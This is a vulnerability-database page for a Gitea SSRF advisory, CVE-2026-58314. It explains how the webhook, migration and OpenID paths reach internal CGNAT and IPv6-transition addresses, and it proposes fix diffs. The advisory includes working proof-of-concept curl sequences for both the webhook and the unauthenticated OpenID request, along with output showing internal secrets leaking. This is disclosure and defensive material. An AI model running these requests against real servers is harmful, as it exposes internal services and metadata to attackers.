Skip to main content

Gitea CVE-2026-58314

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-21 https://github.com/go-gitea/gitea GHSA-2fcr-jfvc-vgg2
7.7
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
vuln.today AI
7.7 HIGH

Any logged-in user (PR:L) can remotely and reliably trigger the webhook SSRF (AV:N/AC:L), reaching internal systems (S:C) and reading their full response (C:H); no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 21, 2026 - 22:03 vuln.today
Analysis Generated
Jul 21, 2026 - 22:03 vuln.today
CVE Published
Jul 21, 2026 - 21:16 github-advisory
HIGH 7.7

DescriptionGitHub Advisory

Summary

| --- | --- | | Versions tested | gitea/gitea:1.26.2 (digest sha256:7d13848af12645600a5f9d93ee2560daa9c6fa6b5b859b7bff3a5e1c0b661031); gitea/gitea:latest resolves to the same digest at time of writing | | Source review | git checkout v1.26.2 (commit 2c749ce) | | Reproduction | bash run_poc.sh (single shot: brings up containers, runs three PoCs, prints captured evidence, tears down on exit) | | Files touched by the fixes | modules/hostmatcher/hostmatcher.go, modules/auth/openid/openid.go |

Gitea guards outbound HTTP from webhooks and repo migration with net.Dialer.Control, the correct hook point. The IP classifier behind it misses ten address families, of which CGNAT (100.64.0.0/10) is the practically important one because it is plain IPv4 and is used today by Tailscale, AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any logged-in user can create a webhook pointing at an internal CGNAT host. The full HTTP response from that host (status, headers, body up to 1 MB) is stored in the webhook delivery log and rendered to the webhook owner on the hook detail page. The same gap applies to repo migration.

Separately, the OpenID sign-in form at /user/login/openid fetches the user-supplied provider URL server-side via openid-go, which uses http.DefaultClient. No hostmatcher, no IP filter, no CSRF, no authentication. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal IPs.

Both reproduce on gitea/gitea:1.26.2 (current stable) in default configuration. The bundled run_poc.sh reproduces all three primitives end-to-end in about one minute and tears the lab down at exit.

---

Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes

The bug

modules/hostmatcher/hostmatcher.go:107-119, the external builtin:

go
case MatchBuiltinExternal:
    if ip.IsGlobalUnicast() && !ip.IsPrivate() {
        return true
    }

IsGlobalUnicast() && !IsPrivate() was written for stack bookkeeping, not as a security boundary. It catches RFC 1918, RFC 4193 ULA, link-local, loopback, and the IPv4-mapped ::ffff:0:0/96 prefix (because IsPrivate un-embeds that range via net.IP.To4()). Every other IPv6 transition prefix returns nil from To4(), so the embedded IPv4 is invisible to the classifier.

Address families that pass the guard, verified live on 1.26.2:

FamilyExampleWhy missed
CGNAT, RFC 6598100.64.0.1IsPrivate() checks 10/8, 172.16/12, 192.168/16 only
NAT64 well-known, RFC 605264:ff9b::7f00:1To4() un-embeds only ::ffff:0:0/96
NAT64 local-use, RFC 821564:ff9b:1::1same
6to4, RFC 30562002:7f00:1::same
Teredo, RFC 43802001::abcdsame
IPv4-compatible::169.254.169.254same
SIIT, RFC 6145::ffff:0:7f00:1same
Documentation2001:db8::1same
Benchmarking, RFC 2544198.18.0.1not in any private check
TEST-NET, RFC 5737192.0.2.1same

CGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.

NAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with network is unreachable on a stock Linux box.

The wrapping net.Dialer.Control callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.

Reachable sinks

Webhook delivery, services/webhook/deliver.go:

go
// :321-328
webhookHTTPClient = &http.Client{
    Timeout: timeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},
        Proxy:           webhookProxy(allowedHostMatcher),
        DialContext:     hostmatcher.NewDialContext("webhook", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),
    },
}

Authentication required: any logged-in user via user-level hooks (POST /api/v1/user/hooks) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:

go
// :268
p, err := util.ReadWithLimit(resp.Body, 1024*1024)

and stored in hook_task.response_content, then rendered on /{owner}/{repo}/settings/hooks/{id}.

Repo migration, services/migrations/http_client.go:27:

go
DialContext: hostmatcher.NewDialContext("migration", allowList, blockList, setting.Proxy.ProxyURLFixed),

with a pre-flight check at services/migrations/migrate.go:43-87 (IsMigrateURLAllowed). Both layers call the same MatchIPAddr, so the pre-flight does not add coverage for the classifier gap.

History

Residual of CVE-2018-15192. The hostmatcher module landed in PR #17482 (2021) with external as the default. The classifier gap has been present from that PR.

Reproduce

run_poc.sh is the one-shot reproduction. It pulls gitea/gitea:1.26.2, brings up a Docker network on 100.64.0.0/24 with a mock internal service at 100.64.0.2:8080, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.

Expected console output (trimmed):

[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)
  ok  created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL
  internal response captured in hook_task.response_content:
    {"status":200,
     "headers":{"X-Internal-Secret":"CGNAT-INTERNAL-ONLY",
                "Content-Type":"application/json", ...},
     "body":"{\"proof\": \"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\",
              \"client_seen\": \"100.64.0.10\",
              \"secret\": \"do-not-leak-outside-network\"}"}
  ok  headline confirmed: X-Internal-Secret header reflected to webhook owner

[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)
  migrate API returned HTTP 201
  mock log:
    GET /fake.git/info/refs?service=git-upload-pack  from=100.64.0.10
    GET /fake.git/HEAD  from=100.64.0.10
  ok  git smart-HTTP exchange from gitea -> 100.64.0.2 confirmed

[sanity] verify the guard still rejects RFC 1918 / loopback / link-local
  ok  loopback v4   (http://127.0.0.1:8080/)    blocked
  ok  RFC 1918      (http://10.0.0.1:8080/)     blocked
  ok  loopback v6   (http://[::1]:8080/)        blocked
  ok  ULA           (http://[fc00::1]:8080/)    blocked
  ok  link-local v4 (http://169.254.169.254/)   blocked

Boiled down to raw HTTP, the webhook primitive is three calls:

bash
TOKEN=$(curl -s -u attacker:pw -X POST \
  http://localhost:3000/api/v1/users/attacker/tokens \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","scopes":["write:repository","write:user"]}' \
  | sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \
  -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"type":"gitea",
       "config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
       "events":["push"],"active":true}'

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \
  -H "Authorization: token $TOKEN"

The internal target's response is then visible on /{owner}/{repo}/settings/hooks/1, or in the SQLite column hook_task.response_content.

Suggested fix

Add an explicit non-routable prefix list to the external builtin:

diff
--- a/modules/hostmatcher/hostmatcher.go
+++ b/modules/hostmatcher/hostmatcher.go
@@ -3,8 +3,9 @@ package hostmatcher

 import (
 	"net"
+	"net/netip"
 	"path/filepath"
 	"slices"
 	"strings"
 )

+var nonRoutablePrefixes = []netip.Prefix{
+	netip.MustParsePrefix("100.64.0.0/10"),   // CGNAT, RFC 6598
+	netip.MustParsePrefix("64:ff9b::/96"),    // NAT64 well-known, RFC 6052
+	netip.MustParsePrefix("64:ff9b:1::/48"),  // NAT64 local-use, RFC 8215
+	netip.MustParsePrefix("2001::/32"),       // Teredo, RFC 4380
+	netip.MustParsePrefix("2002::/16"),       // 6to4, RFC 3056
+	netip.MustParsePrefix("::ffff:0:0/96"),   // SIIT (deprecated, still routable through translators)
+	netip.MustParsePrefix("::/96"),           // IPv4-compatible (deprecated)
+	netip.MustParsePrefix("2001:db8::/32"),   // documentation
+	netip.MustParsePrefix("198.18.0.0/15"),   // benchmarking
+	netip.MustParsePrefix("192.0.0.0/24"),    // IETF protocol assignments
+	netip.MustParsePrefix("192.0.2.0/24"),    // TEST-NET-1
+	netip.MustParsePrefix("198.51.100.0/24"), // TEST-NET-2
+	netip.MustParsePrefix("203.0.113.0/24"),  // TEST-NET-3
+}
+
+func isNonRoutable(ip net.IP) bool {
+	a, ok := netip.AddrFromSlice(ip)
+	if !ok {
+		return true
+	}
+	for _, p := range nonRoutablePrefixes {
+		if p.Contains(a) {
+			return true
+		}
+	}
+	return false
+}
+
 func (hl *HostMatchList) checkIP(ip net.IP) bool {
 	if slices.Contains(hl.patterns, "*") {
 		return true
 	}
 	for _, builtin := range hl.builtins {
 		switch builtin {
 		case MatchBuiltinExternal:
-			if ip.IsGlobalUnicast() && !ip.IsPrivate() {
+			if ip.IsGlobalUnicast() && !ip.IsPrivate() && !isNonRoutable(ip) {
 				return true
 			}

hostmatcher_test.go currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).

---

Finding 2: OpenID discovery has no SSRF guard

The bug

routers/web/auth/openid.go:99:

go
url, err := openid.RedirectURL(id, redirectTo, setting.AppURL)

The thin wrapper at modules/auth/openid/openid.go:36 forwards directly to the package-level function in github.com/yohcop/openid-go. That package keeps a defaultInstance:

go
// github.com/yohcop/openid-go v1.0.1, openid.go:15
var defaultInstance = NewOpenID(http.DefaultClient)

http.DefaultClient has no transport customization, no Dialer.Control, no IP filtering. openid-go issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.

The form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).

Default exposure

The setting that gates this endpoint is read from the [openid] section of app.ini:

go
// modules/setting/service.go:268-270
func loadOpenIDSetting(rootCfg ConfigProvider) {
	sec := rootCfg.Section("openid")
	Service.EnableOpenIDSignIn = sec.Key("ENABLE_OPENID_SIGNIN").MustBool(!InstallLock)

It defaults to !InstallLock, so on a fresh container before the install wizard completes the endpoint is enabled. After INSTALL_LOCK=true it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes GITEA__service__ENABLE_OPENID_SIGNIN into [service], where the loader does not read it. Use GITEA__openid__ENABLE_OPENID_SIGNIN=true.)

History

Extends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.

Reproduce

One request, no cookie, no token:

bash
curl -X POST http://localhost:3000/user/login/openid \
  --data-urlencode 'openid=http://INTERNAL:PORT/path'

Captured by the internal target (also shown in run_poc.sh's [poc 3] block):

GET /poc3-openid  from=100.64.0.10
GET /poc3-openid  from=100.64.0.10

Two GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with Accept: application/xrds+xml.

Exfiltration is blind. openid-go parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.

Suggested fix

Wire the hostmatcher into a custom *http.Client and create a dedicated openid-go instance:

diff
--- a/modules/auth/openid/openid.go
+++ b/modules/auth/openid/openid.go
@@ -1,10 +1,28 @@
 package openid

-import "github.com/yohcop/openid-go"
+import (
+	"net/http"
+	"time"
+
+	"code.gitea.io/gitea/modules/hostmatcher"
+	"code.gitea.io/gitea/modules/proxy"
+	"github.com/yohcop/openid-go"
+)

 var (
 	nonceStore     = openid.NewSimpleNonceStore()
 	discoveryCache = newTimedDiscoveryCache(24 * time.Hour)
+	instance       = openid.NewOpenID(&http.Client{
+		Timeout: 30 * time.Second,
+		Transport: &http.Transport{
+			Proxy: proxy.Proxy(),
+			DialContext: hostmatcher.NewDialContext("openid",
+				hostmatcher.ParseHostMatchList("openid", hostmatcher.MatchBuiltinExternal),
+				nil, nil),
+		},
+	})
 )

 func Verify(fullURL string) (id string, err error) {
-	return openid.Verify(fullURL, discoveryCache, nonceStore)
+	return instance.Verify(fullURL, discoveryCache, nonceStore)
 }

 // RedirectURL redirects browser
 func RedirectURL(id, callbackURL, realm string) (string, error) {
-	return openid.RedirectURL(id, callbackURL, realm)
+	return instance.RedirectURL(id, callbackURL, realm)
 }

openid.Normalize does not perform HTTP and does not need to change. Once Finding 1 is fixed, this MatchBuiltinExternal instance picks up the new prefix coverage automatically.

---

POC script

run_poc.sh

AnalysisAI

Server-side request forgery in Gitea before 1.27.0 lets attackers coerce the server into HTTP requests against internal hosts because its outbound IP allow-list classifier (IsGlobalUnicast && !IsPrivate) fails to block CGNAT (100.64.0.0/10) and nine IPv6 transition prefixes. An authenticated user can point a webhook or repo migration at an internal CGNAT service and read the full response (status, headers, and up to 1 MB body) rendered back on the hook detail page; separately, when OpenID sign-in is enabled the unauthenticated /user/login/openid discovery fetch uses http.DefaultClient with no IP filtering, giving anonymous internet callers a blind SSRF primitive. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate as normal user
Delivery
Create webhook to CGNAT internal host
Exploit
Trigger test delivery via hostmatcher gap
Execution
Gitea fetches internal service
Persist
Response stored in hook_task.response_content
Impact
Read internal headers and body on hook detail page

Vulnerability AssessmentAI

Exploitation For Finding 1 (webhook/migration): the attacker must have a Gitea account and permission to create a user-level webhook (POST /api/v1/user/hooks) or a repo-admin webhook, or invoke repo migration; the target internal service must reside in one of the unblocked ranges, in practice a CGNAT 100.64.0.0/10 address, which is only reachable if the Gitea host actually shares a network with such a service (the NAT64/6to4/Teredo/SIIT families additionally require the matching transition gateway on the network, or the connection fails with 'network is unreachable'). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N (7.7 High) is internally consistent for the webhook/migration path: network vector, low complexity, one privilege level (any logged-in user), scope change to internal systems, and high confidentiality because the internal response body is captured and shown to the attacker. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker registers a normal account (or, for the OpenID path, needs no account at all when OpenID sign-in is enabled), then creates a webhook whose URL points at an internal CGNAT host such as http://100.64.0.2:8080/ or a cloud metadata address, and triggers a test delivery. Because the classifier allows the address, Gitea fetches it and stores the internal service's headers and body (up to 1 MB) in hook_task.response_content, which the attacker reads on the hook settings page - a fully reliable, non-blind readout demonstrated by the provided run_poc.sh proof-of-concept.
Remediation Vendor-released patch: upgrade to Gitea 1.27.0 or later, which corrects the hostmatcher classifier and wires the OpenID discovery fetch through the IP filter (see GHSA-2fcr-jfvc-vgg2 at https://github.com/go-gitea/gitea/security/advisories/GHSA-2fcr-jfvc-vgg2 and the release notes at https://github.com/go-gitea/gitea/releases/tag/v1.27.0). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all Gitea deployments running versions prior to 1.27.0; for affected instances, disable OpenID Connect sign-in to eliminate the unauthenticated attack vector, and disable or restrict webhook and repository migration functionality. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

CVE-2024-42480 CRITICAL POC
9.9 Aug 12

Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem

CVE-2023-28110 CRITICAL POC
9.9 Mar 16

Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref

Share

CVE-2026-58314 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy